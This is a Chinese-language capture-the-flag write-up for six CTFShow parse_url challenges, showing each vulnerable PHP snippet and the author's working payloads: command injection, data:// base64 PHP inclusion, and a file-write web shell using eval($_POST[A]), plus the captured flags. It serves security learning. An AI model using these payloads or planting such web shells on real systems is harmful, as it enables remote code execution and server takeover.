CTFShow--周末大挑战parse_url篇Writeup

简介: CTFShow--周末大挑战parse_url篇Writeup

ac1de64c16214e479f8013ff07a17c86.pngCTFShow 平台:https://ctf.show/

第一关:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);


Payload:?u=http://system('cd ..;cd ..;cd ..;cat flag_is_here.txt');


也可以通过POST去执行命令获取,得到flagflag_is_here.txtcat查看一下即可。

?u=http://eval($_POST[a]);
a=system("ls /");




6803af073de843ed839f516d5c49c4f7.png


2fab5ece38c54a37b8d15d280169fc82.png



ctfshow{a0e80fdb-2488-41ec-ab41-3f444485afb6}

第二关:

>  <?php
> 
> /*
> # -*- coding: utf-8 -*-
> # @Author: h1xa
> # @Date:   2023-05-10 09:52:06
> # @Last Modified by:   h1xa
> # @Last Modified time: 2023-05-12 13:25:53
> # @email: h1xa@ctfer.com
> # @link: https://ctfer.com
> 
> */
> 
> $data = parse_url($_GET['u']);
> include $data['host'].$data['path'];




fbe1efd8a0c14eb5963e78fcc28764c5.png


Payload:

 get:
 ?u=ctfshow://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b



ctfshow{d855cf94-0ea0-4ae6-9983-25331dae4b3d}


第三关:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];

Payload:

get:?u=data:://test/plain;base64,PD9waHAgc3lzdGVtKCRfUE9TVFtBXSk7Pz4=
post:A=tac /_f*


ac1de64c16214e479f8013ff07a17c86.png



ctfshow{595cf0e0-350b-4a58-aa16-970b290fd1c9}

第四关:



<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
system($data['host']);

Payload:?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s*

ctfshow{644f5bb8-5572-4569-882d-1a5673e01f9b}


第五关:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
extract(parse_url($_GET['u']));
include $$$$$$host;




b53a041d8c854d1cb32c263b3b904519.png

Payload:

get:
?u=%75%73%65%72%3a%2f%2f%70%61%73%73%3a%71%75%65%72%79%40%73%63%68%65%6d%65%2f%3f%66%72%61%67%6d%65%6e%74%23%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%50%44%39%77%61%48%41%67%63%33%6c%7a%64%47%56%74%4b%43%52%66%55%45%39%54%56%46%74%42%58%53%6b%37%50%7a%34%3d
post:
A=tac /_f1a*


ctfshow{2c95c0cf-6c53-46ce-bd87-1221067bc07a}

第六关:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);



72f3075a00974a4fae046f8358d6140a.png


Payload:

get:
?u=http://111<script language="php">eval($_POST[A]);/var/www/html/zzz.php  
post:
A=system("tac /_f1a*");

1d4bdf855f7f4c44bd582110a75a0cd8.png



ctfshow{ba400845-b41f-4612-8f5a-30fa718db9a1}

至此本周的周末大挑战全部通过,感谢大家的观看和官网的wp不一样(当时做完了没有及时写 现在补完啦,又是充实的一天😊!)

相关文章
|
7月前
文件上传--Upload-labs--Pass12--(POST)00绕过
文件上传--Upload-labs--Pass12--(POST)00绕过
|
7月前
|
PHP
Ctfshow基础二刷(1)
Ctfshow基础二刷(1)
50 0
|
安全 网络安全
|
JSON JavaScript 数据格式
HackerNews05-通过使用url模块的parse方法获取用户get提交的数据|学习笔记
快速学习 HackerNews05-通过使用url模块的parse方法获取用户get提交的数据
HackerNews05-通过使用url模块的parse方法获取用户get提交的数据|学习笔记
搞什么啊? URI 和 URL 到现在还不清楚?
搞什么啊? URI 和 URL 到现在还不清楚?
212 0
搞什么啊? URI 和 URL 到现在还不清楚?
|
前端开发 网络协议 数据安全/隐私保护
【前端 · 面试 】HTTP 总结(十二)—— URL 和 URI
最近我在做前端面试题总结系列,感兴趣的朋友可以添加关注,欢迎指正、交流。
124 0
【前端 · 面试 】HTTP 总结(十二)—— URL 和 URI
|
数据采集 Python
Python爬虫:利用urlparse获取“干净”的url
Python爬虫:利用urlparse获取“干净”的url
150 0
|
Python
Python编程:urlsplit, urlparse简单区别
Python编程:urlsplit, urlparse简单区别
139 0
|
存储 Web App开发 缓存
网红面试题:从输入 url 到看到页面发生了什么
从输入 url 到看到页面发生了什么
205 0
网红面试题:从输入 url 到看到页面发生了什么